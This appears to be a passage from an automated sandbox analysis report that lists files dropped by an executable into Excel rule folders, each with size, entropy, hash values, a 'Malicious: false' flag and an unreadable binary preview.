SHA-256:	0C0DA4505D3DBC81C3FCD832AF18E43757070E6D468E9BA572E90890FC64A1B4
SHA-512:	7EDD8082B8C8AB31DD76D718DEE0FBDBA150DF96CBD7ADA50A99812D072D9E8FA5C9BFF0E19B9CF7A63228FA8F4669BB861A25C69890625819749588E07261FB
Malicious:	false
Preview:	<?xml#7...2w&adE..]..D.?u....N.1HM..9tE(."Q.D..J+.P.Y{:.._.&.....IV..../.w.H.......fZ.#.b......O>.&.#.?.4.5..}\|S.&Q....BV.....E..BJ4./..f........`..&..O.4..;.(..p.....5..l..W....T.?..vf..6@...Ma.....L......\|.../.N.../......TDI.Z`.Br....2Z.\.G...ne)..,zM...n.tW..Y..C..Z..M.tj.....^k.U..c".<.v@......p.ay.K.6..,OA.q8.v>.+..5..n..'.=...WbF.h.W.N.38..Km9U..7.W..Ug...N...o..>V.....u.7m-.Sh....yZ.....=a...$H.5..\|.0...`.E...F.`....5.\|.+S..2....-~....r..y?._..Ov.... .J....RY(H.3;....@\|.f.?e.{F.We.s..E...L.F.O.{~...q....E...............>B%..#....a.\|H.%.s.D....k.o......i..gF.G.-.!...........>.".tVp..+8.%.~Bu..q.k.R&r@_...+)=5J&..C`W..Kk(T...C.#.....<..s.fy.O7.=.)d>#.R......9..U....=j.....m..VW8=`BJXqF..xg6.<t._.O.'.JEY.Rg['.....%4..V.m!p..q...J..K.l0....Q....S.hT...;#..Q#..c...*.l,.I"......)..;Z:..Ls.W.[]..u...I......i...... ...s..1..{}.....T.J...xFw.-.,.u....o9...5pG.R.R..8...5I....P........o....#.t.Kr8"..3z.1.h.M8q.~,../.....Rf.......9GC...s..%.....'.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701700v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	7.882977058657556
Encrypted:	false
SSDEEP:	48:KlO1Fslh2VnUf2kvUWm9j5FgQ3TRlEKN63iD:KlO16CUf9GR5BteKH
MD5:	A9CD65F19B569B03DA11C01116381FC1
SHA1:	B28D7C80CC0BFA6A3B2CFA55DDA5AD2BA52CE7FD
SHA-256:	819BD0489E66DF2FEE1F047D807ABB1758C925DE1DC8EC58179DF140728617C2
SHA-512:	41D06015B8F70D65A01002E38FB538F35796741F5A7005A369E2A7E39E2AE035132F8FFB13BC8B939D81D0E27EB782C4685F5B3AF0B4AFDC5B3311C3E3C32A4A
Malicious:	false
Preview:	<?xmlQ.!..iD.......+ .}.q.4&....g.....IA......e{~.....S@M.....My.....+\d..,.\|.....%#.......\|.......Rnun.......a.Y?N.JK6z....%.:..!jL... s......rx...].lI.&....Z./...h...V...9..8.....V.K..=`.$]Y.(..~y.J.)............,4W...kU^.>..........P....G.Q.Ni...=.3....2....o.Z...v#...UXXU'.....e..]j..(b.."\m.K.........r..M...P=K7...$RZG.Q.....f.c......9....:n...$e.DY..HG~(.2[zu..~...............+...._.UK.....s.TB.4./.1.....Q.....w.S."..Oe\K.h......j8.^I..#kH;>.f..L5<...A..,d..z.f.pNi...x..{.F).M..Y...{..9..? .HfdbJ."t.H.{H\|.n.6.....&M>._y..z.G..y....)'.]{.l..xo3..2.>..[..[Y.0.WfKk....%.wA0...k6..B..%..E;~]..!..\|6':..\|...e:..=...........(..-.s^.b..m.%...\.....lZ.6....1$p...2.1o\|..._Q.....f.I.'T....$...B-.,.">.G..n.......S.^..&.@.5..a..!l...7......r.....u...AkE].a.:.b......].p.<........_.Q.....F....9R.sT....L;uhz....k.U....O.1.i.=O..v.s.dLN.)..@....B+.^..k..a..xHiw8tn!..+@`.Ef.[.....\|...Y.8nnp].....x.M 9..).q..B...KGs.rf.>....vv^.)K.I..........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701701v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1756
Entropy (8bit):	7.881170167417113
Encrypted:	false
SSDEEP:	48:Uk+az/+GjNRX+kNzzJRe1ffRguAhBjoM7kmG6K9iD:LzhjNIk9613QhNoMH
MD5:	44572200F40314AEB0037A214412BD85
SHA1:	9A464B26C5472C1589B89E628CD84DB8055239BC
SHA-256:	01B56596E4706FABC797740E4537A3207011B6F62DDC7AC8230339E06BF30D01
SHA-512:	86E10B079CD458C522CAA0055189CC819ED48DFC77CFE413427017858C539D28219C4656F9133AB9349E16F16E1D1610B6738BB5F364A1AFCD8344E9F2EF183B
Malicious:	false
Preview:	<?xml..KW.V.x..o.E....o\|+.A........../.%e.I..)4EL.n}..=.Q.b.z.-.F<...85.....P,7\..,.t.d....HU.K......Y.....3.t.....Q.Y..D........."3.Z.}.....$..E]..4..H.%....4.N.2..q....R...y4....C....c...~..,.@..+.......<..!.1U&..?....2.sr.P..i....H6@O&.%...d.@.y...-.... .j....N..<...T.L......".RB.a....pJ.#.0..~.m?....<.0...0..<P.D#...=D..K..[.2.f...{M......_)<./.m....D4Z....C......t........\(. .uB...}.0..P.5..N&.."......]....N.T..}j.......4.\|.f.cK5..7?.@U..6s.l...3....H.dpjk_w.x.3.~G8^A......c.....Zp.+[.0X........2....[R.55. /....jlG.'..........$....o..\}.......M....Yi.4+..U.D\.4...p..".h..1n_R...0...C....^k.........,{n6L.yt..\|...4...K..0.... .....D.5....a{.".6...!..F...)..UCK ...#......A.^s#.3.nH.#{....../........B."..5.....I..m..o...s(.v..dW.c.......A.Q......b..0...V}....&7K...;V/......4/K......#.rD.45..1....-.C.....J..z........36.sDd2S....God[c....Q...K.....{.X.h...'C..^......^.....bX$(.....mU.=..-.S.e..7.......#[..2...>....V.G..~...r]P.i..!...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701750v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.87642442090759
Encrypted:	false
SSDEEP:	48:4KZDv8P/AuM8mZuwbUUFZeOF56+iRa27adTjn8iD:4I8wjkOeOfLovqnnL
MD5:	306C09FCE9F663DCB66E9DA915E9C29B
SHA1:	3CE9957A916E0C982EDBA223B405A731538F1C43
SHA-256:	FC406B1069EABFA142F0FB9C5C3CC95392D6C0E9F0D17C6A175C7DE826DE1248
SHA-512:	7A560BD67AE72D80AC014A7A862805F4D6D4CCA1964D64992D169000D4AA766124E15213EF4B5E869342081CF2290D7B02650EDF05814C8FADE8EDD8DAE97B28
Malicious:	false
Preview:	<?xml7T.......4.j.y.U<-_-..WP....\>.......h.2...7:.J.s..k.&....t}..s.....@.J.g..C.q9.Y.......l..TM...{\|.....g.;..b..J..0..d$.;6.:?....eK.N.).I.:.`_........B......-q...f\|%L.&..d.f....u....`O .P...a..\..)...,~x.i..p....wfS#..c.#.......W...s.."....R2m..v...B..O.0..5..C...y.,Nad.<_.jU=....OP.....Q.:..rt...$N...=$bb..F..........Ml...y....DLX.....!'{."...m.....h.9..b..#.d .5;>m+C...8t.........Q..N9uz.W....\F..R.j..jt...H.... h/.Ae.B..n.!Q[$.l.&..8r...)..8.>..CV.....E.9.8y..1...B..7.k...z.........5...O.......g[...\...._..!.G....s.I.@^TD.G.X...3D.e.&.D.y.. .1.H...CJ.I.\|\......4.3......../..\|. ...i.V-.}..v..k..^./.!..i~.S@}...`..o..P...H.'.....C..i;..},w.1ro.........H....eQ4.,q.... M.U.]..s.L...`..H./....q...U._...$...X..........Zj.wy.!}.2^n.\Z....Y...u1...^....\.=.....SBU*.YP.....d.H.....F=.S.....]....................b^z.>.;......'.aa........~....2\|.z..`D..4.L. .q(.._'Sp.f.d...3..z..HG...pnC......-...I]..>.....B..1.3...=y.@V..^.\|P...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701751v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.907981747098504
Encrypted:	false
SSDEEP:	48:IpePIBcI0CX9E/3UTqbbUrVx48AMKTIZiD:RNL0m/UTqbQR63Oo
MD5:	A70CCBC7E2155980E352940238DF6AB8
SHA1:	576B6CCF91F01BF66FCF8DF2A0ACE5B752850C1B
SHA-256:	E05ECA5A19317C5EF7039783A685FC58E6FCC46C439AE6C0314358D8672F7D66
SHA-512:	39AC3B61BCF745DC58E18F9833EC89AD2C06EE83AD535E2C3A41B6FC23695D701229CF57DB7576102077D0877EA030AB2A3474902B0E3F6138F96E68FB4CD693
Malicious:	false
Preview:	<?xml<.......c...$..j..K.^.'S.`g....#..n2.0IaRS..L..W.7..............S.x..&...%.Y..m.....1O.6I.6&..g..c...,...n)l..u.c.#...m.......J....Az..91IZq.../.i...I.....e9<4Wb..EW.t...,V..)z..Kw...0....!.! .HEh....:.w.....>z...u..5.YX....^,..g~B.AkRo..aW.......>84F}]i....s..@J...i...4.;a...$H.p.....a.m......8.V......8......c.-.... -,!...Vd..._g.A.Z..._.`.o.....y+.............._;.....[...ui....Rs.."t..4...;j...).......`..;.Z[..C.z.-n...>.rR.K....O...{&..\|..Pl..[...O'.0.>..c..8l...{Q..V.P.{.....c...!T......ESjpLF....y.#.....U"..K;....3!D..{F.H.P.3....RW.(B....9r..]_...L......o...?....7.....Z`..D.j......Zc.?6...8p`.@...Bz{...(.%.q....#\;...D.l7D........M....i .X^...4Pz7.3......o..s. ....~....?....h..b..0.X.\j.t..!JX.[vTT..>::......P.=T:..=...O....WE..R.?Q._..Y..h.jJ\|.n....N#.a.....3..gddQw....i..6....p.A\...XO..O.@.pm...I.!(B...h.H.a~VJ...Y.....9.....AW...}.y....Fv...x.V+.F3.7.u."....E..vi.xY..=&.)[L-`.n...H.. y...7..^. k...;.7^.J}......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701800v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.888406488210157
Encrypted:	false
SSDEEP:	48:ZWA9oBP5967bMktCo1EE8o0BXqNaUMzEsKpvE2AiD:Mk+5o7btCo1EFXhEZpFf
MD5:	ABA347AD55BAE7B2DE38D941143D4A66
SHA1:	A4C371B37AE33A18AAFB8667CD13BA79E0A0FD9B
SHA-256:	D1877A3751DEAA47ED838612E978BCE30D2DED2D0949E6CAF78AD9E5E03EB27F
SHA-512:	079147C3DD86B9C82D9288752F9B22C7183CA22D7CFC2481264469EE90A84BCDC7A86ECCA43E3900D32E79C15B7D31E2A4DA64A8D14D474AF04DAB110F713368
Malicious:	false
Preview:	<?xml...6..%V.E..%..(,.`O...Q...F.C>u...=.....P....M2}....gU.g#........8.....v.u^..._..YC2........h..8....2v.9..H......hz.w....!..XT1.D...d^Gu......:Q6...:.....o.../.'.k@r&.....;..6.-;%.M2.q...&.../.&...........n..:.....3.8..KC.Gs.=.".Wz...7.......Z.u..M...K..Z.............Ljw.3.5{:.....6.Vx..f......Az....H.......e..F!....'.B....r.~a.. K:X,.......^<.!.....+W.s.qI..[.........=Z.....(...+..$.i..th.N.a[g .....yJk..&I......F0..x......:X..)....K\|..uC......2L.:sS........3.....r..c.wC.@_.x.^..~.....2.[h...%.);L..........8..<.,c.0...7.S...e.Bz.....(eX..Db.xP......P.b..9....dP.M....l.j.5.....=.o.X99h7Me..<..8.#...m.:.lXj.]..I...t....G..x4.?.F..\|.[y...v.gA+.$...q!t1u=.aJ.,1...d.+L.X\....8.....,lW...v.WV7..k.h.v@.nXeIO............J..NL..........".7iIh...uSc..;.u?~-....."..) .yN.......D...>.H_W.C..5fM...n...2..tx.+..=..VU..n..e..b.+.6..ad=..}>.@tl.=..0...m..T7......M...)....M..(f..f".i....E..'.v.F....S.m"Sp..N..nH..oB.{?./.P2u.jH.Z.+..P........L%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701801v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.892165626669981
Encrypted:	false
SSDEEP:	48:f7LUGrwg1AMTtqU1PW/KGxMOMXk4S+A0NCFTIL6mfiD:jL5fpqUyIOSSFmy
MD5:	2AEE6A613ED94AA43B5D5BF35E2EE8B0
SHA1:	2E92E04ABB7FAB5D59AB0BB348AF476A4EC0EF31
SHA-256:	4564659BB25274C73AECD1CFAA370980A6989B87AA48E45185945DA64D42588A
SHA-512:	69E4E734C46898067FDF07A09DB1FCAF7343904B39D1EF48EFF17BD269180E2F70DB3EF4F32141BAF49E42737D7FC91435D56F939FA29511C62D119DB9036177
Malicious:	false
Preview:	<?xmlv.2ll.g-ZHyU....d....sX...* .DL4.!&u)2.Q0.b../.8G..q.0..p.y....4..c.>..&>8P./w..'...%t.0.....)q.....e1`&].n.Q..-B...]]8.yL..4D....\.s.Q......W.m....fniQ..T.W..m$..t..8?F.\|K@.2p..'...........D.m.r...T.G.L....."I........;..)...,..H.!....l...%P.....6R).......H....3..,.,w)b...+r}u..(l@.1 ..p.!...}$.w..(..\|,0!`zU..g...... ..../.f........j.V.FeR+.wN.Tmk....v......:..%.-..M..@j....sreY....:)...(.,\......Xi.s....yF......8...>ovy..N...hp...z...o.y.....uj}...d..c...Qq...0.fk...(U.v..`h..-u-<y.;.jZ.L.S..w....'.D.I./iBvF...y..^5"M...V..C.S.9...F........M..A?....V$....(.^......fm2tB>..".-....77.......l.....{fE.W..'..'.9.......#.u#[._..i...k.@.....%\|I...6../..(......]?..#...T.....(..q..a....~N..L..."h.![h..8.-.{1..~.t....C\|.}.2].Oj..Cu.....4...n@..:,b2.5..;q....M?.I.y.Gw..=.Q=5).G......\|X.l.6h..s.V.&.o.a.Oz...#D...\|...2X.[..bQ^..6...c..a.lKT3e....w...>...&2$...d.{..ZC.....@b...d.&L...a$............m..p..^.`....L..$j.......y.o.l..0"6\|C..JH.*..F.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701850v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.8930066709599975
Encrypted:	false
SSDEEP:	48:eHSaIJK9z+htyNmg4C4a2xS2PHJ5ixz0GHZFlAmiD:eHiJOz+htyNmlo2xK0GHZw
MD5:	CA70154890ED47E78342F11F545BBB91
SHA1:	E2434DD7CB576D276ED0A6DAEB00847882F5956D
SHA-256:	D40D49AC169943B315BCCF0890C586FCAB543A8ED2338D39D43DAB277555839B
SHA-512:	66D2FE90DC1A75D6283E3747482C0FAF5B397C266167A662F8363EA2686A6084512AC692811469DA956F088C0BD0A5A9A409EBDBFD13B850FCD9026D69C23BE1
Malicious:	false
Preview:	<?xml..R..Ky./...k.D...}b6mi...e.@.?.L.F..?..d.f.6..`.7.).8U?.$.OH.0...:=...M.tg.:......%.s..G....L.A.<...V....g..=..?.a.-d.k..N...E...l/[5..t....YU.6.cl.....0.r..X....`..v...D..dn.......F.o...D...my,Eg...f.q.[H3<..S<&t.^.......O.9.q>.{....@.O..4.Ra{.........g~.G..g]...1J.y...vJ"....v.+....sU.c..t..T.6.y.m...\(.^R.^(._..u..}...c<6.[......:_+.#fsLw..`zRH...Q...J..=.d..Q..3.CN..}W..^...@u...\|............m0B.I]P...u...E......Z..h.fb.p@t....L.Z...W+.ToM.}7.wu.,n.0..p......&.A.A. .).=...^.....<p..-).fC;+.A....T.LFF..........C..pv......i...}.5B.F..)b.........L.......Xp.?)a..B.?.5.%.%..]...8.,E.~.f./.TE.V....V..t...m.6.@n.e..X......x._...B{.\|~.....GS...v..T..+D..z.....o..`i...$..vX..#p.Qn...^R.nl.).hM.\|.[.P=}.......f....^..............:..d.< T....P. .{...f.;.^..Uv...@.).qs..R..s...yk..T.^...e.>V..I.u..........W.0q.>.....[..WL.......C=..B...s.+..y..Z..ui.+....e...g.g...6-.w.......2..........=../gU...S2..F.vsG]..I.p..$.......b8.V.....U..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701851v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.887002216181995
Encrypted:	false
SSDEEP:	48:QCAitBTYKjkMrnaA4zYghiMwen9uWkPt3teRCwiD:QCAiDTnewMweg/deYP
MD5:	E6AE971A6E70B362200D1AA70ED1257A
SHA1:	AAC5024C26243B5F44495EED8FB8ADC1017C051D
SHA-256:	28639E37162E092B93148C2F2C06C7209B9139C339913EE6FBA9C339F5FBEB90
SHA-512:	D27B2908A00E538033FA1B9323968D80BBCEA1D75160FEC3BE94DDB5821D040D475C61DFAC1762CE687B6741340A46130C8384897C1F3580DC7637AFD2031B6E
Malicious:	false
Preview:	<?xmlm8P...n.iw.'q..BR.%".....g^.......c.b..~....%#7.i".G.fv...l....U,..W......-.lm3..^.....-..M).j.C..v..;....j...l5;qu....(.[../+!.j.........\|}.(......`l.K.B..IV..02..gJ...:;....]'.>....9....,.q.E'.z....N..\.......~l....'....c...F"...]..f.X?'..\.E=.Lu=...,.N..Tt...u.6.(..{n.$.........n._b.8.W...0L.DW.DCp..2X....[p$....sT....?..2.....u...V.I.B.\|H...k.Q....)`...$3.........0.."..{....p...}.ur..91../..X..k..1mS.2.`*.......L\6G.YF..7.$r.3..R.S..7l...(]...%.0.4@.....X...D.....#.L.AN..j5..K.{..!.>.;..O.W=K.`.>b3.%..:.......)..'lI4.KL.O+ ..\|...y...[..._...C.4tE....O......a^.CX{r..Y.V....I....Y.&=G.U.VZ.E.Vo.^>-..S.G..Ws4..&..D...A......h..uP.].........p... .IR..}.z.Z`...."?.....lq....T0...GY~..`+......6......(..J..b...........0.p..X..7.,...+.d.#..&..af.....QJ.o.+.uy...\.P..$..^.5.-.)3.....a,.:.1gX{....4/..'.BA..WT.....dE.=.a.=.2{...?..p...,u.snt.....m0G.X[.FMm...).....M8V.y..Z..3....b...arP.$..7.#]gsk8..q.,ic....>..D&Y....$y..<. Nq..D.j...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701900v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.881636349412367
Encrypted:	false
SSDEEP:	48:yK74IQongwPtG++MQ/T+PM37BACkNWEmyiD:943onz/wTqGSP+
MD5:	2806F9FE417DADD58C5F4E2639327B6A
SHA1:	50FBE3FECD387DE4F5B6EE3826B732F8C9382881
SHA-256:	07A923C7841967FC60E39804F293537F01D82C496DC081E7359BDC6EA134B644
SHA-512:	3895115B935F5519B6F9B29CA241CB95A48CF785AE70798FF8DF6DC43EF8E018C45B094AD8C101888590FA55015565F762D2E1455BD47345B2B7762B0173D679
Malicious:	false
Preview:	<?xml..n.N..@..xZP.....c..-5...>.....B.L...]..T.1._...,B`....qw#.'.Q......b3.pY..+/.b..r...T.,.%..T.q.Daad..@..........................N./.......o..U.Bv.+..)...oN?q,?...$.-3.....QJ.:@..C.".3.}p.o.Uut.@.?_.........Z...:.."...r..-!T..>Y...6...d......ms...8.:)......$.......l..c.........=..v........t.2..^.cg ..G5......ka..ov.xj.K[.B.Y.F....k..'.H..b.....h....h5...D...W.~$...p.\|_...z8...Uq..n.....+{../.n%..x#.F}[f...R.jG..v..~W....b....D..q...c.(....5..q.y.1.4@.c.......n}.{.Q....j...e."E.K...fz. .e.....$bl.m 1).Y...X..-.2..U.R.....,....\'[........;.E...q..... =..vs@29..>c..+..Z..p~Su....e....c?...kB}.D..0tq...9&.e{..f...Q...89....ok.c...TOi!]VHl_...YT.....u.E.yl....R..Qw......2.!.d.....h..bh+.....YGZf...).6.c.RE......^'..>O.S9.`......5..L1..rl..0...IM..T."A....\|...P#X.~.....r<..E.:vml...].............j.5....\|....&\D.p.[...!...6V.[.h.DD....6C...7i....W.........Ss%.6.....U......Wf....w.I..?R.Xt..$.g{..-.a8..A's._.....d=...?..S..Yr.e9T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701901v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.885736890180995
Encrypted:	false
SSDEEP:	48:u+UgRHdB3lbeZ3gqFiZLclAkWr5rNqH1y2iD:9HdBNeZ3vMZIu2yp
MD5:	610A7859243623B1CD0039D5494BA094
SHA1:	B80BB05E53525F819B1D9FFFB43657A79EE9B503
SHA-256:	2E1DB3476F481700DABB53211BA57599825D5C131F09867D2C8279407F1A678F
SHA-512:	59B88F82896BDA296962AF1306662A81C5A4C59C45DF32744D0012B0B97CFF2F3DC5396139BFA00504604961B226DC513B3BE5BE1417A1FFF1AE95939D48E821
Malicious:	false
Preview:	<?xml..)...b.8.....L7_L_MjHG^S.>X F.p.!..!:.....{N..J..]!#+.W......5;.Ay.e...0u.JC.L....% ....s.1+.^.\|..@8Mu.Y.2...U.VE..QLL....qc/lh..........a.........4...y.\|...-..Z.b...XQH...}.D..$.J.0h..Y%....W..M.ZXO0.0.....14.../....\........wl.....lX_L..GL....x.q.2..k+..;.(......t.....@....]..i.l.....X...@..gh.52W.u.r...A.<...S....t.....=4@.;.Yp.N.L.Hm..g..j(...5.d.?..e.n....k..#n..0r....6..K..fk.=.....#.9..^.L..]....9i5......O._..W,.../....p..U.......4...M5..9..w.YQ..A....H.......w,.Y....\.I...... ..B..._/.!%.......5.......i....6}.&..s..UrP..t+.&....6..........Ya...&..U..;.Wc....MHa.1V...v..g..1.$.\|H."....(t...`.I......yh`.L....66.=[....^...-.....7T.G..{..s.:.1....Y.Q.."......V..g..;.....'d.aE..<.!...`.....~.D+.Gr.$..+.. ..>JR.dx. C."..-.jJ..+.-:..^#.7...W(...]h.z....0$.....9.. 8..s...'s..j..S..g..}.....7#..B...8...jm]..#C.BO7...%.j..=av........{.pi.....:W.\|...K....-.z.-.. Wm@.b.OF..+....x.....T...[$.........9.A.m..)9..X.....v..3(.g

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701950v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.896916291060082
Encrypted:	false
SSDEEP:	24:KW0+3QvcPxLxiXBq5TMUkId5Y/sQC0yIzO9b9ALI8rcwZheiAmRpHwSiTkbD:x0+3UmxliXk5Yab02CrrcwZ0ihHwniD
MD5:	0996DC31364C016A9DD0F39C9CE2EBB7
SHA1:	A742FE1D2688563C62732306D3581049E9627EF1
SHA-256:	0E1EAB5171033D1DDD6A2EE7B302ED5465E641192646BE21EA91ED09C09FD9CF
SHA-512:	2D5DE80C4589632FBA12B098556BF74CBC5272E54A7B54ACD7AA9004EFFDFDAB5677EBD1E12B83260D7A6365685C4BB531694A02DF5D90C1EA24781216470A7B
Malicious:	false
Preview:	<?xml.\|.....z.#\.._.Sy..?...SoI.<.....YoV.....].....a:dMK.$LI....C8s0..;&....]M.(..3...f.....<,...a.G..J....R.eJ....R.#.!.j."i-s..G....._.j:G%.Uk%.LA.l.%....v.......Z..\|.......l....o.O[.....(x. :.2...n#.]&v..x...r.Di.1A`..:.....@.qF.m>7.q.$.]ZU..C.U._.fE....m.k..i...z.....y.D^^.J..r.......[...f.\|..O.....-......;...z.:....d.r.b}..q.V..4.h.[.+e...A........;)g..........0-...........8...G..x..a..P.N?Y....r....p..;hP...H.V..".1'....8....Qc...R...\..0.....".G..?........+......,.nty8e...gFV5....8&p.O;....w...e.=....1.$[.yG.q../'[...,`.1..&}.t.h..z.O4...<........]....Rz....;\.~......l.t..#ZE..@........4.<.......D..\R.H}h.x:.9..'.D.w...wn&...G...Kl.(..+.>.....Zg1Z...=.>.'.8.....b.7...J'.._1..W'5.............w.R.,.a..s.f...@........Y..6Z8...(...T?..@.kfl%...%+..pa....0~.2......g}...E:..PK7SYlL.....,..PIw..D..S.{(.g..#.ec.U(....z.2./.....C.o0n.!..r...*.....R..%&9`..!u>.;B......E.~\|....2.c.x...m...h....O..G.3..1...%.....!....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701951v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.888505590238698
Encrypted:	false
SSDEEP:	48:qsNPTBW8xGxBDvcuy8DEeY4HpPESqEwMPLhLw5F37iD:jNPEW8BDvcuy8849EOwMPLhE5Y
MD5:	F00A1DD3803CCBDB13F4681522F765EE
SHA1:	0B86F2E5E264B9BC862E0C552328CAC73DCB4D58
SHA-256:	12E92624EAC052CFA4AF76A76675126FFA4C410321962AB3BD06390DC369B83A
SHA-512:	D34CFDA404534FA298F0EA8DA879C6F1F5B82B480A48100529E0CD13814FF6C81F1A589BA70713D0E8C9B64283790B12B4F78129A17C1C7B3B377F381FE8FD1C
Malicious:	false
Preview:	<?xml..1............._.....n..S.wPZ.../(.......y.N.9.q..]c}......`.....4fhr_%.r.Q."m........G....Bah...%.{\|.n..fk.9...\|3kk......r.r..+.7X..7..z...>bs&<,Nhd.....1j.R.....5.7...=....s..S.'..=.....5.@..........N..CncoZ..;...../R_}b.b...........5OI,.:.AR....[.%...A.....F?...u...f?bE%.!.....N..A.....G..I.r..3.y.N.H.I.c.hk..h...;z..4...P.rN..B. ..........Bi....r&#N.`.@.95$.F..F..`.....C\|..x.. .5.... .a,....V...?...8.E.......V..2b.....e.V.n.....~.Z./..........jym....O...j.oa....?Z........o.....\..Z..W...)YA...W"lf..F,k...g..g\-_.....-<.....2......tD...v...2...-........[]'...].,...2b..\:..&..0'.N.k...e.~.B..H!.......'.....D.>'J..GZU.M.%..PF......HW...n........[G..1.R...}..!.....&?.L..\|.lY..9...).}T.......;...g.....?. ..O.5o?.{..{... .p[.y........P....@./....ud....7.t>..mg[.>..Qn..=.).Q+..ec..IE...FX.M....N...O..a.z....cw.Ne....j"V.....7.r!W..7...@...F.U...Ox...M3...2.+_`N.z}._..b....3.)...U.$..v@.jZ..2..ik~....{....T.....u...C...`...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702000v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.8547022236329385
Encrypted:	false
SSDEEP:	48:gdn7PlhB77C/uRnrVqhuKRnXl91OGI3okOPViD:EnL4Ir8xRn191OGI3ols
MD5:	981AC19C3AA5BA14FA000AAB765BA4CB
SHA1:	5ADCEA8ADCDDF97A60C9A259F1235303CFEE88F9
SHA-256:	7A5AA61B729DD428FC89C1F3880BFEEEAAEF49A040CAAE26F128F4EFB5AE5048
SHA-512:	DB846C3892C874006D460FD4E13BFBA4CC15FD6D48F70F220B2CB822711AB8A417FF202853B6DDB18BA1F34A53F66FCE95EF2E52706DE87A22B7DEEF495E58B8
Malicious:	false
Preview:	<?xml]".~W...s..(..m......_.....6@...%S....u...O"E).......S0..b{....J..LR}%.._[.Z.....R..H....u4+Jo..{...Z.1^.D.....,..}.t2.bv....[:;U..X.n3`...!7C<..../..w.Oz...,.Y.....b....B2P..}.G..\..g..t.j.h.4u........>..+..(3./..G...f./...'#.v.:.......v.9l.j]..<.......V.v....YN..}...Z.j.C..-.rN.g..X.%.\.W...mz..&....W@.p.\.. .Z.i.`.[k.f"f..T.5.d....v...."A.2......mAY..t...#.`....H.2..g0`..XrT{)...s...qE...."f...9{cK.....k....9...-u..1.....3...I..{\|..R....+....P...W......^Rn..:..5+...&.B~...6.s..@....g.B.u....X@.. ......tZC.qKX.+. }.G....9....Y.j...c.\|.q...GR.Ze.M.....v.#i......E....p5...$B..........t...A..;AX..z#2.4....o.:. j.-...A......jy.#E.R#...]J.UV.%".......j..5.S...^..M..$y....E.2..._& .$&S(..i....r...rt.....6...W.C.VgWb.....)...I6...1=.=.B....W..}.[.j.H..h.o.=}tI..\M.z."73.a..;....:.6.E.eB9B....(W a.d.....29......Ma.C.Y.X.h...Bh7O.^+...4.L..u.]..:.."7+I....~.M>..E...s.....o+.r......!....mO.].Ra9....]@..y......".}H$.;..\2...j...j9...D..C..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702001v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.882601633097754
Encrypted:	false
SSDEEP:	48:e4jZKjcsESEKDdUu8cyvLmdeM/7sI9eiijdLD1k9yUqniD:e0FlSfDGcOmUietjdH1wBT
MD5:	90808FB49D194F8C443DD6AEC6D9786A
SHA1:	46C01BDC64D0545E07BEF7C70873ABA0D8AA979E
SHA-256:	77EA8132711B33956EBA8E82BC39BFF41668203CC0FED500DE69B71030345426
SHA-512:	762653B82AADE29728C0CDF1F1AA1756828715801FC978CB31ACEE422988B475897E173E914317A43D0A1BB2564292B106A7493385E35D96524ADD6BFBE9C633
Malicious:	false
